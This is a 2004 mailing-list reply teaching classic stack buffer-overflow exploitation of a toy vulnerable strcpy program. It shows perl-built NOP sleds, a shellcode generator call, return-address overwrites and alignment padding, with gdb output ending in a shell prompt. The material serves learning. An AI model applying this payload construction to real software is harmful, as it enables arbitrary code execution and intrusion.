Dnia śro 5. maja 2004 08:14, John Vill napisał:
> Hello Im new to this is list and I was hoping someone can help me.
>
> int main(int argv,char **argc) {
> char buf[256];
>
> strcpy(buf,argc[1]);
> }
Hello,
The problem is incorrect padding. I'll try explaining, but keep in mind that
I'm very far from being an expert...
On my system buf has addr 0xbffff4a0. When I run the prog like this:
Starting program: /home/kg/prog/sec/buf `perl -e 'print
"\x90"x222'``./mkshell.pl``perl -e 'print "\xa0\xf4\xff\xbf"'`
I get:
Program received signal SIGSEGV, Segmentation fault.
0x00bffff4 in ?? ()
So I'm just one byte off from the correct location. Examining the stack proves
that this is true:
(gdb) x/4x $esp - 8
0xbffff5a8: 0xa068732f 0x00bffff4 0x00000002 0xbffff5f4
(gdb)
The value 0xa06873f2 just before the return addr holds the missing part of my
buffer's address. So all you have to do is move the entire address by one
byte. So...
Starting program: /home/kg/prog/sec/buf `perl -e 'print
"\x90"x223'``./mkshell.pl``perl -e 'print "\xa6\xf4\xff\xbf"'`
sh-2.05b$
.. it works.
A good idea is to write more than one return address on the stack, so you
don't have to be so exact in calculating location. You just have to remember
to jump somwhere inside the buffer. In my case, I changed the return address
to 0xbffff4a9. Now:
Starting program: /home/kg/prog/sec/buf `perl -e 'print
"\x90"x220'``./mkshell.pl``perl -e 'print "\xa9\xf4\xff\xbf"x30'`
Program received signal SIGSEGV, Segmentation fault.
0xfff4a9bf in ?? ()
(gdb)
You can see there's my address on the stack, it's just incorrectly aligned. We
can fix this by adding 1 to 3 bytes of padding:
Starting program: /home/kg/prog/sec/buf AAA`perl -e 'print
"\x90"x220'``./mkshell.pl``perl -e 'print "\xa9\xf4\xff\xbf"x30'`
sh-2.05b$
This approach is more likely to work, as it leaves more room for mistake.
I hope that helps.
Krzysztof Godlewski
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Received on May 07 2004
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